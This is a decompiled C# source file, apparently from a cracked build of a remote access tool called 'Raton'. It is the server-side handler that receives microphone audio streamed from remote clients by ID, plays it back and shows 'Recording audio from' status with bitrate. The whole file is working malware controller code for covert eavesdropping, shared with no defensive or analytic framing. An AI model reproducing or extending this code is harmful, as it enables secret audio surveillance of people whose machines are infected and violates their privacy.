110 lines
4.1 KiB
C#
110 lines
4.1 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: Server.Handlers.HandleMicrophone
|
|
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
|
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
|
|
|
using DarkModeForms;
|
|
using Raton.Forms.ClientForms.Audio;
|
|
using Server.Connection;
|
|
using Stuff;
|
|
using System;
|
|
using System.Collections;
|
|
using System.Collections.Generic;
|
|
using System.Windows.Forms;
|
|
|
|
#nullable disable
|
|
namespace Server.Handlers;
|
|
|
|
internal class HandleMicrophone
|
|
{
|
|
private static Dictionary<string, DateTime> lastPacketTime = new Dictionary<string, DateTime>();
|
|
private static Dictionary<string, double> lastKBps = new Dictionary<string, double>();
|
|
private static Dictionary<string, DateTime> lastUiUpdate = new Dictionary<string, DateTime>();
|
|
private static Dictionary<string, ratonMicrophone> micForms = new Dictionary<string, ratonMicrophone>();
|
|
private const int update = 500;
|
|
|
|
public HandleMicrophone(SillyClient SillyClient, Unpack msgUnpack)
|
|
{
|
|
HandleMicrophone handleMicrophone = this;
|
|
string uid = msgUnpack.GetAsString("UID");
|
|
if (string.IsNullOrEmpty(uid))
|
|
return;
|
|
ratonMicrophone clipboard = this.GetOrFindForm(uid);
|
|
if (clipboard == null || clipboard.IsDisposed)
|
|
return;
|
|
if (clipboard.SillyClient == null)
|
|
clipboard.SillyClient = SillyClient;
|
|
byte[] asByteArray = msgUnpack.GetAsByteArray("AudioData");
|
|
int length = msgUnpack.GetAsInteger("Length");
|
|
if (asByteArray == null || length <= 0)
|
|
return;
|
|
if (length > asByteArray.Length)
|
|
length = asByteArray.Length;
|
|
AudioPlayer.Play(uid, asByteArray, length);
|
|
double sizeKB = (double) length / 1024.0;
|
|
double kbps = this.CalculateKBps(uid, sizeKB);
|
|
DateTime now = DateTime.Now;
|
|
if (HandleMicrophone.lastUiUpdate.ContainsKey(uid) && (now - HandleMicrophone.lastUiUpdate[uid]).TotalMilliseconds < 500.0)
|
|
return;
|
|
HandleMicrophone.lastUiUpdate[uid] = now;
|
|
if (clipboard.InvokeRequired)
|
|
clipboard.BeginInvoke((Delegate) (() => handleMicrophone.UpdateUI(clipboard, uid, sizeKB, kbps)));
|
|
else
|
|
this.UpdateUI(clipboard, uid, sizeKB, kbps);
|
|
}
|
|
|
|
private ratonMicrophone GetOrFindForm(string uid)
|
|
{
|
|
if (HandleMicrophone.micForms.ContainsKey(uid))
|
|
{
|
|
ratonMicrophone micForm = HandleMicrophone.micForms[uid];
|
|
if (micForm != null && !micForm.IsDisposed)
|
|
return micForm;
|
|
HandleMicrophone.micForms.Remove(uid);
|
|
}
|
|
string str = "Microphone | Client ID: " + uid;
|
|
foreach (Form openForm in (ReadOnlyCollectionBase) Application.OpenForms)
|
|
{
|
|
if (openForm.Text == str)
|
|
{
|
|
ratonMicrophone orFindForm = openForm as ratonMicrophone;
|
|
HandleMicrophone.micForms[uid] = orFindForm;
|
|
return orFindForm;
|
|
}
|
|
}
|
|
return (ratonMicrophone) null;
|
|
}
|
|
|
|
private void UpdateUI(ratonMicrophone clipboard, string uid, double sizeKB, double kbps)
|
|
{
|
|
if (clipboard.IsDisposed)
|
|
return;
|
|
clipboard.label1.Text = $"Recording audio from {uid} | Size: {sizeKB:F2} KB | KBPS: {kbps:F2}";
|
|
FlatProgressBar flatProgressBar1 = clipboard.flatProgressBar1;
|
|
if (flatProgressBar1.Maximum != 100)
|
|
flatProgressBar1.Maximum = 100;
|
|
int val2 = (int) Math.Min(100.0, sizeKB / 20.0 * 100.0);
|
|
flatProgressBar1.Value = Math.Max(0, val2);
|
|
}
|
|
|
|
private double CalculateKBps(string uid, double sizeKB)
|
|
{
|
|
DateTime now = DateTime.Now;
|
|
if (!HandleMicrophone.lastPacketTime.ContainsKey(uid))
|
|
{
|
|
HandleMicrophone.lastPacketTime[uid] = now;
|
|
HandleMicrophone.lastKBps[uid] = 0.0;
|
|
return 0.0;
|
|
}
|
|
double totalSeconds = (now - HandleMicrophone.lastPacketTime[uid]).TotalSeconds;
|
|
HandleMicrophone.lastPacketTime[uid] = now;
|
|
if (totalSeconds <= 0.0)
|
|
return HandleMicrophone.lastKBps[uid];
|
|
double num = sizeKB / totalSeconds;
|
|
double kbps = HandleMicrophone.lastKBps[uid] * 0.7 + num * 0.3;
|
|
HandleMicrophone.lastKBps[uid] = kbps;
|
|
return kbps;
|
|
}
|
|
}
|